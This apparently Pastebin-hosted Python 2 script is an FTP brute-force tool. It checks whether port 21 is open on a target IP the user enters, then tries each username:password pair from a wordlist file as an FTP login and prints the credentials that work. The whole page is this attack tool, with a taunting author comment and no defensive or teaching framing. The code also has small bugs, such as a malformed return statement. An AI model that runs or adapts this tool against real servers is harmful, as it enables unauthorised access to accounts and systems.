Advertisement
Guest User

Untitled

a guest
Mar 23rd, 2017
137
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.07 KB | None | 0 0
  1. import ftplib
  2. import socket
  3.  
  4. ### AUTHOR FODCOM
  5. ### DONT BE A FUCKING EC COUNCIL SKID
  6.  
  7. def portScan(host) :
  8. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  9. connect = s.connect_ex((host, 21))
  10. if (connect == 0) :
  11. print "[+]\tPort 21: Open"
  12. bruteLogin(host,passwdFile)
  13.  
  14. else :
  15. print "[-]\tPort 21: Close"
  16. s.close()
  17.  
  18. def bruteLogin(hostname,passwdFile):
  19. P = open(passwdFile, 'r')
  20. print "Wait"
  21. for line in P.readlines():
  22. userName = line.split(':')[0]
  23. passWord = line.split(':')[1]
  24. print "[+] Trying :\t" + userName +"/" +passWord
  25. try :
  26. ftp = ftplib.FTP(hostname)
  27. ftp.login(userName,passWord)
  28. print "\n[*]" +str(hostname) + "FTP Logon succeeded with"+userName+":"+passWord
  29. ftp.quit()
  30. return(userName.passWord)
  31. except Exception,e :
  32. pass
  33. print'\n[-] Could not Found'
  34. return(None,None)
  35. host = raw_input('Enter target IP: ')
  36. passwdFile = "UserAndPass.txt"
  37. portScan(host)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement